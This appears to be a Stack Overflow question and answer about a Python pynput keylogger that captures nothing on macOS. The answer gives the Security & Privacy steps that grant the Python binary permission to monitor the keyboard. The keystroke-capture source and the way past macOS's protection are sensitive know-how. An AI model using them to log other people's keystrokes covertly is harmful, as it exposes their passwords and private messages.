1

I am trying to run a simple Keylogger using Python3 on MacOs. Below is the script.

import pynput
from pynput.keyboard import Key, Listener



count = 0
keys = []

def on_press(Key):
    global keys, count
    print("hello")
    keys.append(Key)
    count += 1
    print(f"{Key} pressed")

    if count >= 10:
        count = 0
        write_file(keys)
        keys = []

# hello this is a test for the keylogger.

def write_file(keys):
    with open("logger.txt", "a") as f:
        for key in keys:
            f.write(str(key))



def on_release(Key):
    if Key == Key.esc:
        return False




with Listener(on_press= on_press, on_release = on_release) as listener:
    listener.join()

The code displays which key is pressed on the console and also after every some period, it stores the keys pressed in a file. When I run the script using sudo, nothing is happening when I press some keys. I am not being shown which keys are pressed on the console and the file is also empty.

I am not able to understand what is the problem. I am guessing it's something related to MacOs restrictions for giving full access to the keyboard. But I am not sure.

Please someone help me on this.

Sai Sankalp
  • 451
  • 1
  • 4
  • 14

1 Answers1

2

I found the solution in a related question. For security reasons MacOS does not allow keylogging by default. So you need to enable it manually:

  1. Settings -> Security & Privacy
  2. Click on the Privacy tab
  3. Click the + and hold down CMD + SHIFT + . (so that you can see hidden files/folders)

  4. Navigate to /usr/local/bin or wherever you have Python installed

  5. Click okay.

cited from this answer

Banana
  • 2,295
  • 1
  • 8
  • 25